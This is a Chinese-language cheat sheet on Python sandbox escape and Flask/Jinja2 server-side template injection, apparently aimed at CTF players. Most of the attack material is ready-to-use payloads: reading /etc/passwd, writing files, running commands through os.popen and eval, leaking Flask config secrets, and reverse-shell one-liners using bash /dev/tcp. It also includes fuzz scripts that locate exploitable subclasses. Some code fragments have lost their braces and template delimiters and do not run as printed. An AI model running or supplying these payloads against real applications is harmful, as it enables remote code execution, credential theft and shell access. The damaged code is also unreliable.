app.run(host='127.0.0.1', debug=True)
基础知识
沙盒逃逸
- 沙箱逃逸就是在一个代码执行环境下 (Oj 或使用 socat 生成的交互式终端),脱离种种过滤和限制,最终成功拿到 shell 权限的过程
Python的内建函数
- 启动 python 解释器时,即使没有创建任何变量或函数还是会有很多函数可供使用,这些就是 python 的内建函数
- 在 Python 交互模式下,使用命令
dir('builtins')
即可查看当前 Python 版本的一些内建变量、内建函数,内建函数可以调用一切函数

名称空间
- 要了解内建函数是如何工作的,首先需要需要了解一下名称空间,Python 的名称空间是从名称到对象的映射,在 Python 程序的执行过程中至少会存在两个名称空间
- 内建名称空间:Python 自带的名字,在 Python 解释器启动时产生,存放一些 Python 内置的名字
- 全局名称空间:在执行文件时,存放文件级别定义的名字
- 局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效
- 加载顺序:内置名称空间 —> 全局名称空间 —> 局部名称空间
- 名字的查找顺序:局部名称空间 —> 全局名称空间 —> 内置名称空间
类继承
- 构造 Python-SSTI 的 Payload 需要什么是类继承
- Python 中一切均为对象,均继承于 object 对象,Python 的 object 类中集成了很多的基础函数,假如需要在 Payload 中使用某个函数就需要用 object 去操作
- 常见的继承关系的方法有以下三种:
- base:对象的一个基类,一般情况下是 object
- mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object 在最底层所以在列表中的最后,通过 mro[-1] 可以获取到
- subclasses():继承此对象的子类,返回一个列表
- 攻击方式为:变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量
寻找Python-SSTI攻击载荷的过程
攻击载荷过程
- 获取基本类
对于返回的是定义的Class类的话:
__dict__ //返回类中的函数和属性,父类子类互不影响
__base__ //返回类的父类 python3
__mro__ //返回类继承的元组,(寻找父类) python3
__init__ //返回类的初始化方法
__subclasses__() //返回类中仍然可用的引用 python3
__globals__ //对包含函数全局变量的字典的引用 python3
对于返回的是类实例的话:
__class__ //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法
''.__class__.__mro__[-1]
.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
- 此外,在引入了 Flask/Jinja 的相关模块后还可以通过以下字符来获取基本类
config
request
url_for
get_flashed_messages
self
redirect
- 获取基本类后,继续向下获取基本类 (object) 的子类
object.__subclasses__()
- 找到重载过的
__init__
类,在获取初始化属性后,带wrapper
的说明没有重载,寻找不带warpper
的;也可以利用.index()
去找file
,warnings.catch_warnings
''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>
- 查看其引用
__builtins__
''.__class__.__mro__[2].__subclasses__()[138].__init__.__globals__['__builtins__']
- 这里会返回 dict 类型,寻找 keys 中可用函数,使用 keys 中的 file 等函数来实现读取文件的功能
''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
常用的目标函数
file
subprocess.Popen
os.popen
exec
eval
常见的中间对象
catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
lipsum.__globals__.__builtins__.open("/flag").read()
linecache.os.system('ls')
fuzz可利用类脚本
- 例如对 subprocess.Popen 可以构造如下 fuzz 脚本
import requests
url = ""
index = 0
for i in range(100, 1000):
#print i
payload = "''.__class__.__mro__[-1].__subclasses__()[%d]" % (i)
params =
"search": payload
#print(params)
req = requests.get(url,params=params)
#print(req.text)
if "subprocess.Popen" in req.text:
index = i
break
print("index of subprocess.Popen:" + str(index))
print("payload:''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()" % i)
服务端fuzz
- 利用
%for%
语句块来在服务端进行 fuzz
% for c in [].__class__.__base__.__subclasses__() %
% if c.__name__=='catch_warnings' %
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()")
% endif %
% endfor %
Python常用的命令执行方式
- os.system():该方法的参数就是 string 类型的命令,在 linux 上返回值为执行命令的 exit 值;而windows上返回值则是运行命令后 shell 的返回值;注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)
- os.popen():返回的是 file read 的对象,如果想获取执行命令的输出,则需要调用该对象的 read() 方法
Python-Web框架配置文件
Tornado
handler.settings
:handler.settings-> RequestHandler.application.settings,可以获取当前 application.settings,从中获取到敏感信息
flaks
- 内置函数:config 是 Flask 模版中的一个全局对象,代表"当前配置对象(flask.config)",是一个类字典的对象,包含了所有应用程序的配置值,在大多数情况下包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值
- url_for():用于反向解析生成 url
- get_flashed_messages():用于获取 flash 消息
url_for.__globals__['__builtins__'].__import__('os').system('ls')
如果过滤了config且框架是flask的话便可以使用如下payload进行代替
get_flashed_messages.__globals__['current_app'].config
url_for.__globals__['current_app'].config
Flask过滤器
定义
- flask 过滤器和其它语言的过滤器作用几乎一致,对数据进行过滤,可以参考 php 伪协议中的 php://filter 协议,支持链式过滤
使用方式
变量|过滤器
variable|filter(args)
variable|filter //如果过滤器没有参数可以不加括号
用的过滤器
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号,显例:content|escape或content|e;
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义,示例: '<em>hello</em>'|safe;
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串,比如: "%s" - "%s"|format('Hello?',"Foo!") 将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替,示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代,boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true,也可以使用or来替换
模块查找脚本
- Python2
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
num+=1
- Python3
#!/usr/bin/python3
# coding=utf-8
# python 3.5
#jinja2模板
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate(.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("% for c in [].__class__.__base__.__subclasses__() %% if c.__name__=='" + i.__name__ + "' % c." + attr + ".__globals__['__builtins__']." + goal + "(\\"[evil]\\") % endif %% endfor %")
常见Payload
- Python2
#python2有file
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
注意该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具
#request.environ
与服务器环境相关的对象字典
- Python3
#python3没有file,用的是open
#文件读取
().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()
().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')
#命令执行
% for c in [].__class__.__base__.__subclasses__() %% if c.__name__=='catch_warnings' % c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") % endif %% endfor %
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
常见可利用类
- 文件读取_方法一_子模块利用
- 存在的子模块可以通过
.index()
来进行查询,如果存在的话返回索引
''.__class__.__mro__[2].__subclasses__().index(file)